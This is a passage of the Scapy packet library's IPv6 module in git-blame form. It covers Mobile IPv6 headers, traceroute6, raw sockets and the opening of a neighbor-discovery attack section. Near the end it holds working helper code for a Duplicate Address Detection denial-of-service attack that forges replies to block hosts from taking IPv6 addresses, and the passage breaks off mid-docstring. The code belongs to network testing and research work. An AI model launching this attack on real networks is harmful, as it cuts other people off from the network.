3069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 3070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BA(_MobilityHeader): 3072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Binding ACK" 3073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 3074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) 3075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("mhtype", 6, mhtypes), 3076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", None), 3077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 3078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("status", 0, bastatus), 3079571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil FlagsField("flags", "K", 3, "PRK"), 3080571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil XBitField("res2", None, 5), 3081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("seq", None), # TODO: ShortNonceField 3082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("mhtime", 0), # unit == 4 seconds 3083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 3084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 12, 3085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*pkt.len-4) ] 3086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 }} 3087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() 30892a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter return b"\x00\x08\x09" 3090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 3092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if (isinstance(other, MIP6MH_BU) and 3093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil other.mhtype == 5 and 3094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.mhtype == 6 and 3095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil other.flags & 0x1 and # Ack request flags is set 3096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.seq == other.seq): 3097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 3098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 3099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_bestatus = { 1: 'Unknown binding for Home Address destination option', 3101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: 'Unrecognized MH Type value' } 3102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: match Binding Error to its stimulus 3104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BE(_MobilityHeader): 3105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Mobility Header - Binding Error" 3106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 3107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) 3108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("mhtype", 7, mhtypes), 3109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("res", 0), 3110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 3111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("status", 0, _bestatus), 3112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("reserved", 0), 3113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("ha", "::"), 3114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _MobilityOptionsField("options", [], MIP6OptUnknown, 24, 3115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*(pkt.len-2)) ] 3116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = { IPv6: { "nh": 135 }} 3117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mip6_mhtype2cls = { 0: MIP6MH_BRR, 3119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: MIP6MH_HoTI, 3120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: MIP6MH_CoTI, 3121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: MIP6MH_HoT, 3122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: MIP6MH_CoT, 3123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 5: MIP6MH_BU, 3124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: MIP6MH_BA, 3125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7: MIP6MH_BE } 3126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 31281bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon 3129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Traceroute6 ### 3132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass AS_resolver6(AS_resolver_riswhois): 3136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def _resolve_one(self, ip): 3137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 3138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overloaded version to provide a Whois resolution on the 31390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz embedded IPv4 address if the address is 6to4 or Teredo. 3140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Otherwise, the native IPv6 address is passed. 3141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 3142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if in6_isaddr6to4(ip): # for 6to4, use embedded @ 3144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil tmp = inet_pton(socket.AF_INET6, ip) 3145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil addr = inet_ntop(socket.AF_INET, tmp[2:6]) 3146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif in6_isaddrTeredo(ip): # for Teredo, use mapped address 3147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil addr = teredoAddrExtractInfo(ip)[2] 3148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 3149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil addr = ip 31500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 3151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) 3152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 31532bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter if asn.startswith("AS"): 3154caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon try: 3155caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon asn = int(asn[2:]) 3156caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon except ValueError: 3157caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon pass 3158caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon 3159caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon return ip,asn,desc 3160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TracerouteResult6(TracerouteResult): 3162aefe6fcbe454cd014487523c5470d933fa70e95cPierre LALET __slots__ = [] 3163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def show(self): 3164d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter return self.make_table(lambda s_r: (s_r[0].sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! 316522a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter s_r[0].hlim, 316622a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter s_r[1].sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+ 316722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+ 316822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+ 316922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter "{ICMPv6EchoReply:%ir,type%}"))) 3170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def get_trace(self): 3172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil trace = {} 3173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for s,r in self.res: 3175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if IPv6 not in s: 3176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil continue 3177a3618a09887e39536009036d2e88341c61d4d385gpotter d = s[IPv6].dst 3178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d not in trace: 3179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil trace[d] = {} 31800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 31810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz t = not (ICMPv6TimeExceeded in r or 3182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ICMPv6DestUnreach in r or 3183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ICMPv6PacketTooBig in r or 3184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ICMPv6ParamProblem in r) 3185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3186a3618a09887e39536009036d2e88341c61d4d385gpotter trace[d][s[IPv6].hlim] = r[IPv6].src, t 3187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 318822a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter for k in six.itervalues(trace): 3189241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET try: 319022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter m = min(x for x, y in six.itervalues(k) if y) 3191241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET except ValueError: 3192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil continue 3193a65ddc700c23475df28978a17f3b44e93f56ec80Pierre LALET for l in list(k): # use list(): k is modified in the loop 3194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l > m: 3195241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET del k[l] 3196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return trace 3198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def graph(self, ASres=AS_resolver6(), **kargs): 3200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil TracerouteResult.graph(self, ASres=ASres, **kargs) 3201caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon 3202caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register 3203caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadondef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), 3204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l4 = None, timeout=2, verbose=None, **kargs): 3205caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon """Instant TCP traceroute using IPv6 3206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None 3207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 3208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if verbose is None: 3209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil verbose = conf.verb 3210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l4 is None: 3212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), 3213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) 3214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 3215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4, 3216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil timeout=timeout, verbose=verbose, **kargs) 3217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil a = TracerouteResult6(a.res) 3219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if verbose: 3221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil a.display() 3222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return a,b 3224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Sockets ### 3228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass L3RawSocket6(L3RawSocket): 3232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): 3233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil L3RawSocket.__init__(self, type, filter, iface, promisc) 323477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) 3235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) 3236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) 3237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef IPv6inIP(dst='203.178.135.36', src=None): 3239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _IPv6inIP.dst = dst 3240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _IPv6inIP.src = src 3241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not conf.L3socket == _IPv6inIP: 3242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _IPv6inIP.cls = conf.L3socket 3243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 3244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil del(conf.L3socket) 3245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return _IPv6inIP 3246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6inIP(SuperSocket): 3248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil dst = '127.0.0.1' 3249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil src = None 3250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = None 3251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): 3253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil SuperSocket.__init__(self, family, type, proto) 3254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.worker = self.cls(**args) 3255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def set(self, dst, src=None): 3257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _IPv6inIP.src = src 3258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _IPv6inIP.dst = dst 3259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def nonblock_recv(self): 3261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p = self.worker.nonblock_recv() 3262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self._recv(p) 3263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def recv(self, x): 3265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p = self.worker.recv(x) 3266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self._recv(p, x) 3267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def _recv(self, p, x=MTU): 3269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if p is None: 3270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return p 3271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif isinstance(p, IP): 3272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # TODO: verify checksum 3273a3618a09887e39536009036d2e88341c61d4d385gpotter if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: 3274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if isinstance(p.payload, IPv6): 3275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return p.payload 3276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return p 3277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def send(self, x): 3279a3618a09887e39536009036d2e88341c61d4d385gpotter return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) 3280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 3284af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard### Neighbor Discovery Protocol Attacks ### 3285af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard############################################################################# 3286af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard############################################################################# 3287af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3288af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, 3289af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter=None, reply_mac=None): 3290af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3291af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Internal generic helper accepting a specific callback as first argument, 3292af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard for NS or NA reply. See the two specific functions below. 3293af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3294af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3295af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard def is_request(req, mac_src_filter, tgt_filter): 3296af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3297af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Check if packet req is a request 3298af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3299af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3300af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Those simple checks are based on Section 5.4.2 of RFC 4862 3301af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): 3302af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3303af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3304af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Get and compare the MAC address 3305af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src = req[Ether].src 3306af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if mac_src_filter and mac_src != mac_src_filter: 3307af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3308af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3309af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Source must be the unspecified address 3310a3618a09887e39536009036d2e88341c61d4d385gpotter if req[IPv6].src != "::": 3311af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3312af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3313af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # Check destination is the link-local solicited-node multicast 3314af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # address associated with target address in received NS 3315a3618a09887e39536009036d2e88341c61d4d385gpotter tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) 3316af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if tgt_filter and tgt != tgt_filter: 3317af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3318a3618a09887e39536009036d2e88341c61d4d385gpotter received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst) 3319af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard expected_snma = in6_getnsma(tgt) 3320af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if received_snma != expected_snma: 3321af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 0 3322af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3323af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard return 1 3324af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3325af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not iface: 3326af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface = conf.iface 3327af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3328af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard # To prevent sniffing our own traffic 3329af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard if not reply_mac: 3330af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac = get_if_hwaddr(iface) 3331af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff_filter = "icmp6 and not ether src %s" % reply_mac 3332af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3333af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard sniff(store=0, 3334af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filter=sniff_filter, 3335af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), 3336af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard prn=lambda x: reply_callback(x, reply_mac, iface), 3337af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface=iface) 3338af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3339af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3340af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, 3341af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard reply_mac=None): 3342af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard """ 3343af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3344af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3756. This is done by listening incoming NS messages sent from the 3345af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard unspecified address and sending a NS reply for the target address, 3346af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard leading the peer to believe that another node is also performing DAD 3347af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard for that address. 3348af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3349af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard By default, the fake NS sent to create the DoS uses: 3350af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as target address the target address found in received NS. 3351af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 source address: the unspecified address (::). 3352af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - as IPv6 destination address: the link-local solicited-node multicast 3353af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address derived from the target address in received NS. 3354af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the mac address of the interface as source (or reply_mac, see below). 3355af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard - the multicast mac address derived from the solicited node multicast 3356af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard address used as IPv6 destination address. 3357af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3358af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Following arguments can be used to change the behavior: 3359af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3360af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard iface: a specific interface (e.g. "eth0") of the system on which the 3361af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard DoS should be launched. If None is provided conf.iface is used. 3362af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3363af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 3364af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard Only NS messages received from this source will trigger replies. 3365af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard This allows limiting the effects of the DoS to a single target by 3366af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard filtering on its mac address. The default value is None: the DoS 3367af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard is not limited to a specific mac address. 3368af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard 3369af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard tgt_filter: Same as previous but for a specific target IPv6 address for 3370af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard received NS. If the target address in the NS message (not the IPv6 3371af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard destination address) matches that address, then a fake reply will 